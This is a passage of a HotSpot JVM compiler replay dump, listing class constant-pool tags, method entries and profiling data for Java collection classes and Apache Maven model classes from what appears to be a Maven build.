1 1 1 1 1 1 1 1 1 1 1 1\nstaticfield org/codehaus/plexus/util/xml/Xpp3Dom EMPTY_STRING_ARRAY [Ljava/lang/String; 0 [Ljava/lang/String;\nstaticfield org/codehaus/plexus/util/xml/Xpp3Dom EMPTY_DOM_ARRAY [Lorg/codehaus/plexus/util/xml/Xpp3Dom; 0 [Lorg/codehaus/plexus/util/xml/Xpp3Dom;\nciInstanceKlass java/util/NoSuchElementException 0 0 26 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 12 12 1 1\nciInstanceKlass java/util/LinkedHashMap$LinkedEntrySet 1 1 136 9 10 9 10 7 10 100 11 10 10 10 11 10 100 10 100 10 9 9 11 9 100 10 7 7 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 100 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 1 12 100 1 12 100 12 12 12 12 12 1 100 12 1 12 12 100 12 12 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1\nciInstanceKlass java/util/LinkedHashMap$LinkedEntryIterator 1 1 49 9 10 10 10 7 7 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 100 12 12 12 12 1 1 1 100 1 1 1 100 1 1 1\ninstanceKlass org/apache/maven/model/Profile\ninstanceKlass org/apache/maven/model/Model\nciInstanceKlass org/apache/maven/model/ModelBase 1 1 320 10 7 12 1 1 1 10 7 12 1 1 1 11 7 12 1 1 1 10 12 1 10 12 1 10 12 1 1 10 7 12 1 1 1 10 12 1 10 12 1 1 9 12 1 1 7 1 10 11 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 9 12 1 1 10 7 12 1 1 9 12 1 11 12 1 1 11 7 12 1 1 1 11 12 1 7 1 10 12 1 9 12 1 7 1 10 12 1 9 12 1 9 12 1 1 100 1 10 12 1 9 12 1 1 10 7 12 1 1 9 12 1 1 7 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 7 1 10 12 1 1 8 1 10 12 1 8 8 8 8 8 8 8 8 8 9 12 1 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 10 12 1 1 10 12 1 1 10 11 7 1 11 12 1 1 7 1 10 11 12 1 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1\nciInstanceKlass org/apache/maven/model/Model 1 1 402 10 7 12 1 1 1 8 1 9 7 12 1 1 1 8 1 9 12 1 10 12 1 1 11 7 12 1 1 1 10 12 1 10 12 1 10 12 1 10 12 1 10 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 7 1 10 11 12 1 1 11 7 12 1 1 1 11 12 1 1 7 1 10 12 1 9 12 1 7 1 10 12 1 9 12 1 7 1 10 12 1 9 12 1 7 1 10 12 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 7 1 10 12 1 10 12 1 1 100 1 100 1 7 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 11 12 1 9 12 1 1 10 7 12 1 1 1 10 12 1 10 12 1 10 12 1 8 1 8 1 10 12 1 10 12 1 10 12 1 10 12 1 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1\nciInstanceKlass org/apache/maven/model/Dependency 1 1 281 10 7 12 1 1 1 8 1 9 7 12 1 1 1 10 12 1 1 11 7 12 1 1 1 10 12 1 1 9 12 1 1 7 1 10 11 12 1 1 11 7 12 1 1 1 11 12 1 7 1 10 12 1 9 12 1 1 100 1 10 12 1 100 1 100 1 7 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 9 12 1 9 12 1 7 1 10 12 1 1 8 1 10 12 1 8 8 8 1 8 8 8 1 8 1 8 8 1 9 12 1 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 10 12 1 1 9 12 10 12 1 1 10 11 100 12 1 1 1 11 12 1 1 100 1 9 12 9 12 9 12 11 12 1 10 7 12 1 1 1 10 12 1 1 8 1 8 1 8 1 8 1 8 1 9 12 1 8 1 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/Plugin 1 1 269 10 7 12 1 1 1 8 1 9 7 12 1 1 1 9 12 1 1 10 12 1 1 11 7 12 1 1 1 10 12 1 10 12 1 1 9 12 1 1 7 1 10 11 12 1 1 11 7 12 1 1 1 11 12 1 1 7 1 10 12 1 9 12 1 7 1 10 12 1 9 12 1 1 7 1 10 12 1 100 1 100 1 7 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 9 12 1 9 12 1 11 12 1 10 100 12 1 1 1 10 7 12 1 1 1 100 1 10 10 12 1 11 100 12 1 1 100 1 8 1 8 1 10 12 1 8 1 10 11 12 1 1 10 12 1 10 12 1 8 1 8 1 10 12 1 8 1 10 12 1 8 1 10 12 1 1 10 12 1 10 12 1 1 8 1 8 1 10 12 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\ninstanceKlass org/apache/maven/model/DeploymentRepository\nciInstanceKlass org/apache/maven/model/Repository 1 1 89 10 7 12 1 1 1 10 12 1 1 7 1 9 12 1 1 10 7 12 1 1 9 12 1 100 1 100 1 100 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 10 12 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\ninstanceKlass org/apache/maven/model/PluginManagement\ninstanceKlass org/apache/maven/model/PluginConfiguration\nciInstanceKlass org/apache/maven/model/PluginContainer 1 1 192 10 7 12 1 1 1 10 7 12 1 1 1 11 7 12 1 1 1 10 12 1 1 9 12 1 1 7 1 10 11 12 1 1 11 7 12 1 1 1 11 12 1 7 1 10 12 1 9 12 1 1 7 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 7 1 10 12 1 1 8 1 10 12 1 8 9 12 1 1 9 12 1 10 12 1 1 10 12 1 1 10 11 7 12 1 1 1 11 12 1 1 7 1 11 12 1 9 12 1 10 12 1 8 1 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1\ninstanceKlass org/apache/maven/model/BuildBase\nciInstanceKlass org/apache/maven/model/PluginConfiguration 1 1 89 10 7 12 1 1 1 10 12 1 1 7 1 9 12 1 1 10 7 12 1 1 100 1 100 1 100 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 8 1 10 8 1 10 12 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1\ninstanceKlass org/apache/maven/model/Build\nciInstanceKlass org/apache/maven/model/BuildBase 1 1 171 10 7 12 1 1 1 10 7 12 1 1 1 11 7 12 1 1 1 10 12 1 10 12 1 10 12 1 1 9 12 1 1 7 1 10 11 12 1 1 11 7 12 1 1 1 11 12 1 1 7 1 10 12 1 9 12 1 9 12 1 11 12 1 1 100 1 100 1 100 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 1 9 12 1 9 12 1 11 12 1 8 1 10 8 1 10 12 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1\nciInstanceKlass org/apache/maven/model/Build 1 1 156 10 7 12 1 1 1 10 7 12 1 1 1 11 7 12 1 1 1 10 12 1 1 9 12 1 1 7 1 10 11 12 1 1 11 7 12 1 1 1 11 12 1 1 7 1 10 12 1 100 1 100 1 100 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 1 9 12 1 9 12 1 9 12 1 9 12 1 11 12 1 8 1 10 8 1 10 12 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1\nciInstanceKlass org/apache/maven/model/PluginManagement 1 1 72 10 7 12 1 1 1 10 12 1 1 7 1 100 1 100 1 100 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 10 12 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/Reporting 1 1 222 10 7 12 1 1 1 10 7 12 1 1 1 11 7 12 1 1 1 10 12 1 1 9 12 1 1 7 1 10 11 12 1 1 11 7 12 1 1 1 11 12 1 7 1 10 12 1 9 12 1 1 100 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 1 7 1 10 12 1 1 8 1 10 12 1 8 8 1 8 9 12 1 1 9 12 1 9 12 1 9 12 1 10 12 1 1 10 12 1 1 10 11 100 12 1 1 1 11 12 1 1 100 1 9 12 11 12 1 10 100 12 1 1 1 10 12 1 1 9 12 1 10 12 1 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 7 1 1 1\nciInstanceKlass org/apache/maven/model/Profile 1 1 126 10 7 12 1 1 1 8 1 9 7 12 1 1 1 8 1 9 12 1 10 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 100 1 100 1 100 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 8 1 10 12 1 8 1 10 12 1 8 1 10 12 1 100 1 100 1 1 1 1 8 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/ActivationProperty 1 1 141 10 7 12 1 1 1 10 12 1 1 7 1 9 12 1 1 100 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 7 1 10 12 1 1 8 1 10 12 1 1 8 1 8 1 9 12 1 1 9 12 1 9 12 1 10 12 1 1 9 12 1 10 12 1 1 10 11 100 12 1 1 1 11 12 1 1 100 1 9 12 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/Activation 1 1 193 10 7 12 1 1 1 9 7 12 1 1 1 10 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 7 12 1 1 9 12 1 1 100 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 1 7 1 10 12 1 1 8 1 10 12 1 1 8 8 8 8 8 9 12 1 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 10 12 1 1 10 12 1 1 10 11 100 12 1 1 1 11 12 1 1 100 1 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/ActivationFile 1 1 142 10 7 12 1 1 1 10 12 1 1 7 1 9 12 1 1 100 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 1 7 1 10 12 1 1 8 1 10 12 1 1 8 1 8 9 12 1 1 9 12 1 9 12 1 10 12 1 1 9 12 10 12 1 1 10 11 100 12 1 1 1 11 12 1 1 100 1 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/ActivationOS 1 1 159 10 7 12 1 1 1 10 12 1 1 7 1 9 12 1 1 100 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 1 9 12 1 100 1 10 12 1 1 8 1 10 12 1 1 8 1 8 8 8 1 9 12 1 1 9 12 1 9 12 1 9 12 1 9 12 1 10 12 1 1 9 12 10 12 1 1 10 11 100 12 1 1 1 11 12 1 1 100 1 9 12 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/InputLocation 1 1 217 10 7 12 1 1 1 9 7 12 1 1 1 9 12 1 9 12 1 1 10 12 1 1 9 12 1 1 7 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 7 1 10 12 1 1 8 1 10 12 1 1 9 12 1 1 10 12 1 1 10 12 1 1 10 11 7 12 1 1 1 11 12 1 1 10 12 1 10 12 1 10 12 1 1 10 12 1 10 12 1 1 11 12 1 10 12 1 11 100 12 1 1 1 11 100 12 1 1 1 11 12 1 100 1 10 12 1 10 12 1 1 11 12 1 10 12 1 8 1 8 1 10 12 1 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 100 1 1\nciInstanceKlass java/util/ConcurrentModificationException 0 0 34 10 10 10 10 100 100 1 1 1 5 0 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 12 12 12 12 1 1\ninstanceKlass org/apache/maven/model/FileSet\nciInstanceKlass org/apache/maven/model/PatternSet 1 1 213 10 7 12 1 1 1 10 7 12 1 1 1 11 7 12 1 1 1 10 12 1 10 12 1 1 9 12 1 1 7 1 10 11 12 1 1 9 12 1 9 12 1 1 7 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 7 1 10 12 1 1 8 1 10 12 1 8 8 9 12 1 1 9 12 1 9 12 1 10 12 1 1 10 12 1 1 10 11 7 12 1 1 1 11 12 1 1 100 1 11 12 1 10 12 1 8 1 11 12 1 1 11 100 12 1 1 1 11 12 1 8 1 10 12 1 10 12 1 1 10 12 1 1 8 1 8 1 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\ninstanceKlass org/apache/maven/model/Resource\nciInstanceKlass org/apache/maven/model/FileSet 1 1 87 10 7 12 1 1 1 10 12 1 1 7 1 100 1 100 1 100 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 1 8 1 10 12 1 8 1 10 8 1 10 12 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/Resource 1 1 136 10 7 12 1 1 1 10 12 1 1 7 1 100 1 100 1 100 1 10 10 100 12 1 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 1 9 12 1 9 12 1 10 12 1 8 1 9 12 1 1 10 12 1 10 12 1 10 100 12 1 1 1 10 100 12 1 1 1 8 1 10 12 1 8 1 10 12 1 1 10 12 1 8 1 10 8 1 10 12 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1\nciInstanceKlass org/apache/maven/model/DependencyManagement 1 1 176 10 7 12 1 1 1 10 7 12 1 1 1 11 7 12 1 1 1 10 12 1 1 9 12 1 1 7 1 10 11 12 1 1 11 7 12 1 1 1 11 12 1 7 1 10 12 1 9 12 1 1 100 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 7 1 10 12 1 1 8 1 10 12 1 8 9 12 1 1 9 12 1 10 12 1 1 10 12 1 1 10 11 100 12 1 1 1 11 12 1 1 100 1 11 12 1 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/DistributionManagement 1 1 199 10 7 12 1 1 1 10 12 1 1 7 1 9 12 1 1 10 7 12 1 1 9 12 1 9 12 1 1 10 7 12 1 1 9 12 1 1 10 100 12 1 1 9 12 1 1 100 1 10 12 1 100 1 100 1 100 1 10 10 12 1 1 10 100 12 1 1 1 10 12 1 1 8 1 10 12 1 10 12 1 10 12 1 1 100 1 9 12 1 1 7 1 10 12 1 1 8 1 10 12 1 1 8 8 8 8 8 8 1 9 12 1 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 9 12 1 10 12 1 1 10 12 1 1 10 11 100 12 1 1 1 11 12 1 1 100 1 9 12 10 12 1 100 1 100 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1\nciInstanceKlass org/apache/maven/model/merge/ModelMerger$MergingList 1 1 176 10 7 12 1 1 1 7 1 10 12 1 9 7 12 1 1 1 9 12 1 1 100 1 10 12 1 11 7 12 1 1 1 11 7 12 1 1 1 9 12 1 1 11 100 1 11 12 1 1 11 11 7 12 1 1 1 11 12 1 1 11 7 12 1 1 1 11 12 1 1 11 12 1 1 11 7 1 7 1 11 12 1 11 12 1 11 12 1 11 7 12 1 1 10 12 1 1 11 12 1 11 12 1 10 12 1 1 11 12 1 1 11 12 1 11 12 11 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1 1 1 1 1 1 1 1 100 1 1 1 1 1\nciMethod java/lang/Object <init> ()V 4097 1 2833602 0 0\nciMethod java/lang/Object getClass ()Ljava/lang/Class; 2049 1 256 0 -1\nciMethod java/lang/Object clone ()Ljava/lang/Object; 2049 1 256 0 -1\nciMethod java/lang/System arraycopy (Ljava/lang/Object;ILjava/lang/Object;II)V 3073 1 384 0 -1\nciMethod java/util/Properties clone ()Ljava/lang/Object; 521 1 2021 0 -1\nciMethod java/util/Map size ()I 0 0 1 0 -1\nciMethod java/util/Map values ()Ljava/util/Collection; 0 0 1 0 -1\nciMethod java/util/Map entrySet ()Ljava/util/Set; 0 0 1 0 -1\nciMethod java/lang/StringBuilder <init> ()V 689 1 147920 0 -1\nciMethod java/lang/StringBuilder append (Ljava/lang/String;)Ljava/lang/StringBuilder; 1425 1 481540 0 -1\nciMethod java/lang/StringBuilder toString ()Ljava/lang/String; 729 1 133820 0 -1\nciMethod java/util/Collection iterator ()Ljava/util/Iterator; 0 0 1 0 -1\nciMethod java/util/Collection toArray ()[Ljava/lang/Object; 0 0 1 0 -1\nciMethod java/util/Set iterator ()Ljava/util/Iterator; 0 0 1 0 -1\nciMethod java/util/AbstractCollection <init> ()V 2385 1 741223 0 0\nciMethod java/util/HashMap hash (Ljava/lang/Object;)I 4097 1 188004 0 -1\nciMethod java/util/HashMap tableSizeFor (I)I 2049 1 10628 0 -1\nciMethod java/util/HashMap <init> ()V 2689 1 73315 0 64\nciMethod java/util/HashMap putMapEntries (Ljava/util/Map;Z)V 1937 1001 5811 0 3392\nciMethod java/util/HashMap putVal (ILjava/lang/Object;Ljava/lang/Object;ZZ)Ljava/lang/Object; 3217 113 19004 0 -1\nciMethod java/util/HashMap resize ()[Ljava/util/HashMap$Node; 569 1273 1853 0 -1\nciMethod java/util/AbstractMap <init> ()V 3073 1 95653 0 0\nciMethod java/util/Map$Entry getKey ()Ljava/lang/Object; 0 0 1 0 -1\nciMethod java/util/Map$Entry getValue ()Ljava/lang/Object; 0 0 1 0 -1\nciMethod java/util/Arrays copyOf ([Ljava/lang/Object;I)[Ljava/lang/Object; 769 1 32838 0 0\nciMethod java/util/Arrays copyOf ([Ljava/lang/Object;ILjava/lang/Class;)[Ljava/lang/Object; 1089 1 5405 0 -1\nciMethod java/lang/Math max (II)I 3281 1 100523 0 -1\nciMethod java/util/List iterator ()Ljava/util/Iterator; 0 0 1 0 -1\nciMethod java/util/List add (Ljava/lang/Object;)Z 0 0 1 0 -1\nciMethod java/util/List addAll (Ljava/util/Collection;)Z 0 0 1 0 -1\nciMethod java/util/AbstractList <init> ()V 1657 1 347719 0 64\nciMethod java/util/Iterator hasNext ()Z 0 0 1 0 -1\nciMethod java/util/Iterator next ()Ljava/lang/Object; 0 0 1 0 -1\nciMethodData java/lang/Object <init> ()V 2 2833613 orig 320 144 166 185 254 252 127 0 0 16 6 178 223 9 2 0 0 88 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 2 0 0 105 214 89 1 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 1 0 0 0 0 0 0 0 0 0 0 0 254 255 255 255 0 0 0 0 0 0 0 0 data 4 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod java/util/LinkedHashMap <init> (Ljava/util/Map;)V 1889 1 9859 0 0\nciMethod java/util/LinkedHashMap values ()Ljava/util/Collection; 2057 1 8367 0 384\nciMethod java/util/ArrayList <init> ()V 945 1 320776 0 256\nciMethod java/util/ArrayList grow (I)[Ljava/lang/Object; 321 1 25998 0 0\nciMethod java/util/ArrayList grow ()[Ljava/lang/Object; 321 1 21866 0 0\nciMethod java/util/ArrayList newCapacity (I)I 329 1 5235 0 160\nciMethod java/util/ArrayList hugeCapacity (I)I 0 0 1 0 -1\nciMethod java/util/ArrayList add (Ljava/lang/Object;[Ljava/lang/Object;I)V 2089 1 113179 0 0\nciMethod java/util/ArrayList add (Ljava/lang/Object;)Z 2089 1 113179 0 1184\nciMethod java/util/ArrayList addAll (Ljava/util/Collection;)Z 17 1 5285 0 1536\nciMethod java/util/ArrayList iterator ()Ljava/util/Iterator; 2065 1 7132 0 192\nciMethodData java/util/AbstractCollection <init> ()V 2 741226 orig 320 144 166 185 254 252 127 0 0 160 195 195 223 9 2 0 0 112 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 42 1 0 0 1 114 90 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 7 0x10002 0xb4e40 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethod java/util/ArrayList$Itr <init> (Ljava/util/ArrayList;)V 2065 1 14761 0 0\nciMethod java/util/ArrayList$Itr hasNext ()Z 2057 1 5383 0 96\nciMethod java/util/ArrayList$Itr next ()Ljava/lang/Object; 2049 1 5507 0 256\nciMethod java/util/ArrayList$Itr checkForComodification ()V 2049 1 12539 0 0\nciMethodData java/util/AbstractMap <init> ()V 2 95664 orig 320 144 166 185 254 252 127 0 0 72 178 196 223 9 2 0 0 112 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 128 1 0 0 129 161 11 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 3 0 2 0 0 0 0 0 0 0 16 0 0 0 254 255 255 255 2 0 1 0 0 0 0 0 data 7 0x10002 0x17430 0x0 0x0 0x9 0x1 0x0 oops 0 methods 0\nciMethodData java/util/ArrayList add (Ljava/lang/Object;)Z 2 113179 orig 320 144 166 185 254 252 127 0 0 96 71 217 223 9 2 0 0 192 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 77 68 79 32 101 120 116 114 97 32 100 97 116 97 32 108 111 99 107 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 17 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 5 1 0 0 177 200 13 0 1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 248 3 0 0 248 31 0 0 2 0 0 0 0 0 7 0 2 0 0 0 0 0 0 0 56 0 0 0 254 255 255 255 5 0 20 0 0 0 0 0 data 